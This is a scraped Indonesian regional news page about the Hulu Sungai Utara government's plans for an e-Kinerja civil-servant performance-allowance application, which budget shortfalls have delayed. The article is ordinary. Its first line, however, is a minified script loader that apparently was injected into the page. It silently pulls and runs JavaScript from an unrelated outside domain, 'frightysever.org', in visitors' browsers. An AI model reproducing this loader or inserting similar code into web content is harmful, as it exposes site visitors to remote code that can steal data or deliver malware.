(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Pemkab HSU Mulai Persiapan Penerapan Aplikasi e-Kinerja


KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) wacana menerapkan sistem Elektronik Penilaian Kinerja (e-Kinerja) berupa tambahan penghasilan pegawai negeri sipil (TPP) dalam upaya meningkatkan kinerja ASN.

Kepala Dinas Komunikasi dan Informatika (Diskominfo) HSU H Adi Lesmana, membenarkan akan adanya wacana tersebut, hanya saja saat ini Pemkab HSU masih belum menentukan kapan penerapan e-Kinerja tersebut dapat dijalankan.

“Belum lagi, kita masih rapat tim,” kata Adi Lesmana kepada Kanalkalimantan.com, Sabtu (31/7/2021)

Ia menambahkan, disamping menunggu hasil rapat, untuk penerapan e-Kinerja sendiri nantinya cukup dengan dikeluarkannya Peraturan Bupati.

 

 

Baca juga: Daun Sungkai Katanya Sembuhkan Covid-19, Emergency Banjar Rescue Sedia Stok

Sebelum menerapkan e-Kinerja, Pemkab HSU telah melakukan beberapa kali kajian, salah satunya saat melakukan studi mengenai TPP ke Kabupaten Hulu Sungai Selatan (HSS) beberapa waktu lalu, dimana Kabupaten HSS lebih dulu menerapkannya sejak 2018.

“Pemkab HSU berharap bisa meningkatkan kinerja PNS melalui kebijakan pemberian tunjangan melalui e-Kinerja nantinya,” jelas mantan Kabag Humas Setda HSU ini.

Menurutnya, penerapan TPP harus sesuai dengan pengaplikasiannya, sedapat mungkin dilakukan secara elektronik melalui entri data dengan pengawasan pimpinan SKPD masing-masing.

Sehingga, lanjutnya dibutuhkan kejujuran PNS dalam melakukan entri data kegiatan dan ketegasan atasan dalam melakukan verifikasi.

“Rencananya kita melakukan penerapan TPP secara bertahap dan diawali sosialisasi terlebih dahulu di kalangan PNS,” katanya.

Hasil studi, ia menilai e-Kinerja apat intens diterapkan dengan cara pemberian bobot nilai atau poin atas kehadiran PNS, ativitas, sampai dengan capaian kinerjanya.

“Jika PNS tidak hadir tanpa keterangan yang jelas, maka bisa saja poin akan dikurangi” terangnya.

Selain itu, menurutnya Dinas Kominfo selaku pemegang aplikasi e-Kinerja nantinya harus selalu berkoordinasi dengan Badan Kepegawaian dan Pengembangan SDM.

Baca juga: CEK FAKTA. Video Viral Pasien Covid-19, RSUD Ulin Banjarmasin Pastikan Hoax

“Karena Kominfo hanya mengikuti dan membuatkan aplikasinya, nantinya perlu koordinasi lebih lanjut dengan BKD,” imbuhnya.

Secara terpisah, Plt Kepala Badan Kepegawaian, Pendidikan dan Pelatihan (BKPP) HSU, HM Yusri menjelaskan, meski ketentuan dan administrasi dapat dilaksanakan, akan tetapi program TTP tersebut untuk sementara tidak dapat diterapkan, dikarenakan hambatan anggaran ditambah kondisi pandemi sekarang ini.

“Untuk tahun 2021 penerapan belum bisa dilaksanakan, segala ketentuan dan administrasi bisa dilaksanakan, namun menyangkut anggaran yang belum siap. Anggaran memang ada cuma anggaran tersebut sudah tidak cukup lagi karena sudah digunakan,” jelasnya.(kanalkalimantan.com/dew)

Reporter : dew
Editor : kk


Risa

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

2 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

6 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

9 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

1 hari ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

1 hari ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

1 hari ago

This website uses cookies.